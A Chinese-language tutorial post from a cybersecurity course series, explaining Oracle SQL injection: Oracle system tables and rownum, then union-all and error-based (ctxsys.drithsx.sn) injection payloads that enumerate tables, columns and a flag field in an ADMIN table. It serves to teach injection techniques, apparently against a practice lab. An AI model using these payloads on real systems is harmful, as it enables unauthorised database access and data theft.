网络安全从入门到精通(第六章-5)Oracle注入 —— 报错注入
Oracle注入 —— 报错注入
每日一句:
技术是无罪的,有罪的是欲望和贪念
本文内容:
~注入函数解析
~报错注入+联合查询(union all)
~实战注意
【网络安全从入门到精通(第六章-5)Oracle注入 —— 报错注入】一、注入函数解析
0,本章提示:
Oracle注入比较麻烦,有点小难要有心理准备,原因是Oracle数据库本身比较复杂1,Oracle中的一个表 -- Dual
本质:为了满足语句格式而诞生的一个临时表
//有人说是实表,有人说是虚表,咱们不用再在意
用法:
在mysql中可能可以直接这么写select 1,2,3;
select user();
//查询当前用户但Oracle语法结构严谨,这么写 select 1,2,3 from Dual;
select user from Dual除此之外,还可以这么用:select dbms_random.random from dual//获取随机值
select 22+33 from dual//计算加减法
。。。。。等等很多小功能,有兴趣的同学可以自行探索2,查询系统自带表:
select * from all_tables//查询出所有的字段
select * from user_tables//查询出当前用户的表
提示:Oracle数据库弱化了库的概念,主要以用户名作为区分
select * from all_tab_columns //查询出所有的字段
select * from user_tab_columns //查询当前用户所有的字段
3,补充:
~1, 所有数据库基本都区分大小写(引号内的内容),
但是字段名一般不区分,比如FROM==from~2,limit 字段是mysql特有的,Oracle数据库有类似的rownum,但是又区别例如:
select *from user_tab_columns where tabIE_name='ADMIN' and rownum<=1
//输出1条数据 ;
当输出的是一条时,可以不写"<"
select *from user_tab_columns where tabIE_name='ADMIN' and rownum<=3
//输出3条数据
~3,屏蔽某个字段
select* from user_tab_columns where tabIE_name='ADMIN' and rownum=1
and COLUMN_NAME <> 'ID'
//输出admin表中除了id字段所有内容
select* from user_tab_columns where tabIE_name='ADMIN' and rownum=1
and COLUMN_NAME <> 'ID' and COLUMN_NAME <> 'USER_NAME'
//输出admin表中除了id,user_name字段的所有内容
二、报错注入+联合查询(union all)
1,判断注入点
url id=1' -- qwe
2,判断字段数
url id=1 ' order by 3 -- qwe
3,判断输出点
url id=1 ' union all select null,null,null from dual -- qwe
4,查询系统自带表
url' union all select 1,null,to_nclob(TABLE_NAME) from user_tables -- qwe
//to_nclob()函数的作用:将值转换为 NCLOB 数据类型。这是偶然现象
5,得到字段
url' union all select 1,null,to_nclob(COLUMN_NAME) from user_tab_columns where TABLE_NAME='ADMIN' -- qwe
//查询ADMIN内的字段,可以在最后增加限制:AND rownum=1 and COLUMN_NAME<>'ID'等等
6,查询内容
url' union all select 1,null,to_nclob(FLAG_FLAG) from ADMIN -- qwe 7,补充,查询当前用户
url' union all select 1,null,to_nclob(user) from DUAL -- qwe
三、实战注意
1,报错函数(类似updataxml()的用法)
用法:
and 1=ctxsys.drithsx.sn(1,(select TABLE_NAME from user_tables where rownum=1))-- qwe//查询当前用户有什么表,这就是固定用法,这个函数我在网上也没找到太多的内容。
//报错注入,一次不能显示太多的数据and 1=ctxsys.drithsx.sn(1,(select TABLE_NAME from user_tables where rownum=1 and table_name <> 'ADMIN'))-- qwe
//用了报错注入就不用纠结类型了,但是就是输出单行了 2,union all的用法
基本除了MySQL其他的数据库的联合查询都需要这么写。不然会报错
但是,mysql也是可以这么用的,MySQL用了加上all,会将重复的数据也显出
3,oracle的注释--这是单行注释/*
这是多行注释
*/
推荐阅读
- Docker应用:容器间通信与Mariadb数据库主从复制
- 一个人的碎碎念
- 我从来不做坏事
- 从蓦然回首到花开在眼前,都是为了更好的明天。
- 西湖游
- 改变自己,先从自我反思开始
- leetcode|leetcode 92. 反转链表 II
- 从我的第一张健身卡谈传统健身房
- 自媒体形势分析
- 操作系统|[译]从内部了解现代浏览器(1)